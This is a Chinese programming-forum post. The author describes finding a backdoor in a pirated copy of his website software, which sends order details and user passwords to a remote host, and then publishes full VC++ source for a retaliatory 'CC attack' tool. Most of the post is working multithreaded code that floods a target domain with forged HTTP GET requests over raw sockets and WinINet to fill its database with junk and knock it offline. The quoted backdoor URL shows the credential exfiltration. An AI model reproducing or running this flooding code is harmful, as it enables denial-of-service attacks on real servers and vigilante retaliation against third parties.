使用vc++ 制作盗版网站打击器_C/C++_编程开发_程序员俱乐部

中国优秀的程序员网站程序员频道CXYCLUB技术地图
热搜:
更多>>
 
您所在的位置: 程序员俱乐部 > 编程开发 > C/C++ > 使用vc++ 制作盗版网站打击器

使用vc++ 制作盗版网站打击器

 2012/2/8 9:42:14  0x14  程序员俱乐部  我要评论(0)
  • 摘要:前一段时间我发布了自己的一套开源的网站程序,不到多久市场上竟然也出现了相同的一套程序,并且我下载来之后发现,整套程序除了版权和名称以外没有任何一点点的变化,有趣的是,这套程序到处都可以下载,并且没有留下他的任何名称,网站等,开始好奇为什么了,在测试过程中我发现用户提交订单时候变得比较缓慢,我调试了一下,发现一段代码在里面,果然,在用户提交表单时候,php里面通过curl方式httpget到了另一个地址http://www.****.info/sacc.asp?dn=当前域名&
  • 标签:VC++ 使用 c++ 网站

前一段时间我发布了自己的一套开源的网站程序,不到多久市场上竟然也出现了相同的一套程序,并且我下载来之后

?

发现,整套程序除了版权和名称以外没有任何一点点的变化,有趣的是,这套程序到处都可以下载,并且没有留下他的

?

任何名称,网站等,开始好奇为什么了,在测试过程中我发现用户提交订单时候变得比较缓慢,我调试了一下,发现一段

?

代码在里面,果然,在用户提交表单时候,php里面通过 curl 方式 httpget到了另一个地址

?

http://www.****.info/sacc.asp?dn=当前域名&pr=订单名称&un=帐户名&up=账户密码&ap=订单金额&ia=账户余额&si=后门版本

?

真可恶,我花费不少时间做的东西开源却成了别人发黑财的利器了,到时候估计被骂的还是我

?

愤怒之下,打开VC,做了一个简单的CC攻击器,1是给他数据库增加垃圾数据,2是让他后门无法正常接受数据

?

首先看看完整程序截图:




现在来看看实现过程:

?

?

//========创建一个随机字符生成函数
CString CMyDlg::Randstr()
{
	const char CCH[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
	
	char szRandstr[sizeof(CCH)-1]="";
	
	for (int i=0;i<=5;i++)
	{
		int x = rand() % (sizeof(CCH) - 1);
		szRandstr[i]=CCH[x];
	}
	CString str=szRandstr;
	memset(szRandstr,0,sizeof(CCH)-1);
	
	return str;
}

?

//========正常http方式访问网站
BOOL CMyDlg::OpenUrl(LPSTR lpszUrl)
{
	char szn[55]="";
	sprintf(szn,"%d",rand() % 1000);
	HINTERNET hSession = InternetOpen(szn, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 );
	if (hSession)
	{
		HINTERNET hOpenUrl = InternetOpenUrl(hSession,lpszUrl, NULL,0,INTERNET_FLAG_RELOAD, 0 );
		if (hOpenUrl)
		{
#ifdef _DEBUG
			printf("发送成功\r\n");
#endif
		}
		InternetCloseHandle(hOpenUrl);
		InternetCloseHandle(hSession);
		InternetCloseHandle(hSession);
	}
	else
	{
		printf("发信失败\r\n");
		
	}
	return	FALSE;
}
?
//==========通过原始方式发送http头给远程,不接包

//==========域名转换IP
void domaintoip(char *pAddr)
{
	if (inet_addr(pAddr)== INADDR_NONE)
	{
		struct hostent *hp = NULL;
		if ((hp = gethostbyname(pAddr)) != NULL)
		{
			in_addr in;
			memcpy(&in, hp->h_addr, hp->h_length);
			strcpy(pAddr,inet_ntoa(in));
		}
	}
}
//==============IP转换函数
DWORD resolveIP(char *hostName)
{
    hostent *hent;
    char **addresslist;
    DWORD result = 0;
	
    hent = gethostbyname(hostName);
    if(hent)
    {
        addresslist = hent->h_addr_list;
        if (*addresslist) 
        {
            result = *((DWORD *)(*addresslist));
        }
    }
    return result;
}
//==============连接远程服务器函数
SOCKET dogConnect(char *host, int port)
{
	//--------创建socket
	SOCKET sock;  
    sock = socket(AF_INET, SOCK_STREAM, 0);
	
    if(sock == INVALID_SOCKET)
        return sock;
	
    sockaddr_in sin;
	
    DWORD ip = resolveIP(host); //转换IP地址
    if(ip == 0)
        ip = inet_addr(host);
	
    sin.sin_addr.s_addr = ip;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);
	//---------连接目标
	connect(sock,(sockaddr *)&sin,sizeof(sin));
	
	fd_set rd;
	struct timeval tv;
	
	tv.tv_sec = 0;
	tv.tv_usec = 50;
	FD_ZERO(&rd);
	FD_SET(sock, &rd);
	if(select(sock + 1, &rd, NULL, NULL, &tv) < 0)
    {   
        closesocket(sock);
        return INVALID_SOCKET;
    }
	
    return sock;
}


//===========CC攻击线程
DWORD WINAPI CC_attack(LPVOID lpParameter)
{
	//----------锁定,避免线程传递异常
	criticalsection.Lock();
	CMyDlg *dlg = (CMyDlg*)AfxGetApp()->m_pMainWnd;   
	srand((unsigned)time(NULL));  //设置随机种子

	WSADATA               WSAData;
	WSAStartup(MAKEWORD(2,2) ,&WSAData);

	//域名转IP
	char szIp[128];
	strcpy(szIp,dlg->m_strDomain);
	domaintoip(szIp);

	CString str=dlg->Randstr();
	CString strDomain=dlg->m_strDomain;
	CString strParam=dlg->m_strParam;
	strParam.Replace("%s",str);
	int i=1200;
	Sleep(1000);
	//----------解锁,解放其他线程
	criticalsection.Unlock(); 
	
	//--------连接目标地址
	SOCKET Sock=dogConnect(szIp,80);
	//--------如果连接失败,退出线程
	if (Sock==INVALID_SOCKET)
	{
        return 0;
	}
	
	//--------开始循环
	while (1)
	{
		if (dlg->m_bStop==TRUE)
		{
			break;
		}
		i++;
		CString strSend=strParam;
		char szNum[20]="";
		sprintf(szNum,"%d",i);
		strSend.Replace("%d",szNum);
		
		//--------格式化要发送的http
		char url[1110] = "";
		sprintf(url,"GET %s HTTP/1.1\r\nAccept:*/* \r\nReferer:g.cn\r\nAccept-Language:"
			"zh-cn\r\nAccept-Encoding: gzip, deflate\r\nIf-Modified-Since: "
			"Sun, 26 Jun 2005 15:43:05 GMT\r\nIf-None-Match: \"60794-12b3-e4169440\"\r\nUser-Agent:"
			"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322;"
			".NET CLR 2.0.50727)\r\nHost: %s\r\n\r\n",strSend,strDomain);
		
		send(Sock,url,strlen(url),0);
		closesocket(Sock);
		shutdown(Sock,2);
		Sock=dogConnect(szIp,80);//连接目标地址
		
// 		linger   lig;   		
// 		lig.l_onoff=1;   
// 		lig.l_linger=0;   	
// 		int  ilen=sizeof(linger);   
// 		setsockopt(Sock,SOL_SOCKET,SO_LINGER,(char*)&lig,ilen);
	}
	closesocket(Sock);
	WSACleanup();
	
	return 0;
}
?
//==========internetOpenUrl方式攻击线程
DWORD WINAPI Thread1(LPVOID lpvoid)
{
	//----------锁定,避免线程传递异常
	criticalsection.Lock();
	Sleep(1000);
	CMyDlg *dlg = (CMyDlg*)AfxGetApp()->m_pMainWnd;   
	srand((unsigned)time(NULL));  //设置随机种子
	
	CString str=dlg->Randstr();
	CString strDomain=dlg->m_strDomain;
	CString strParam=dlg->m_strParam;
	strParam.Replace("%s",str);
	int i=1200;
	//----------解锁,解放其他线程
	criticalsection.Unlock(); 
	while(1)
	{
		if (dlg->m_bStop==TRUE)
		{
			break;
		}
		CString strSend;
		strSend.Format("http://%s/%s",strDomain,strParam);
		i++;
		char szNum[20]="";
		sprintf(szNum,"%d",i);
		strSend.Replace("%d",szNum);

		char szbuf[1024]="";
		sprintf(szbuf,"%s",strSend);
		dlg->OpenUrl(szbuf);
	}
	return 1;
}

?

//=========开始按钮
void CMyDlg::OnButton1() 
{
	m_bStop=FALSE;

	GetDlgItemText(IDC_EDIT1,m_strDomain);
	GetDlgItemText(IDC_EDIT2,m_strParam);

	if (StrStrI(m_strDomain,"3ba.us"))
	{
		return;
	}
	BOOL bFlag;
	int nThreadNum=GetDlgItemInt(IDC_EDIT3,&bFlag,FALSE);
	
	if (m_combox_type.GetCurSel()==0)
	{
		for (int i=0;i<nThreadNum;i++)
		{
			CreateThread(NULL,NULL,Thread1,NULL,NULL,NULL);
			Sleep(10);
		}
	}
	if (m_combox_type.GetCurSel()==1)
	{
		for (int i=0;i<nThreadNum;i++)
		{
			CreateThread(NULL,NULL,CC_attack,NULL,NULL,NULL);
			Sleep(10);
		}
	}
	SetDlgItemText(IDC_BUTTON1,"攻击中");
	GetDlgItem(IDC_BUTTON1)->EnableWindow(FALSE);
}

?

在填写参数时候,比如

/sacc.asp?dn=%s&pr=%d&un=%s&up=%s&ap=%s&ia=%s&si=%d

?

其中的 %s 将会被替换成随机字符 %d将会被替换为随机数字

?

自从MFC转到QT以后以为不会再用 vc做东西了,毕竟以前积累过很多代码和开发经验,在有些时候看来VC还是不错的选择

?

完整工程代码下载

?

?

  • 大小: 28.2 KB
  • 盗版打击器.rar (28 KB)
  • 下载次数: 0
  • 查看图片附件
发表评论
用户名: 匿名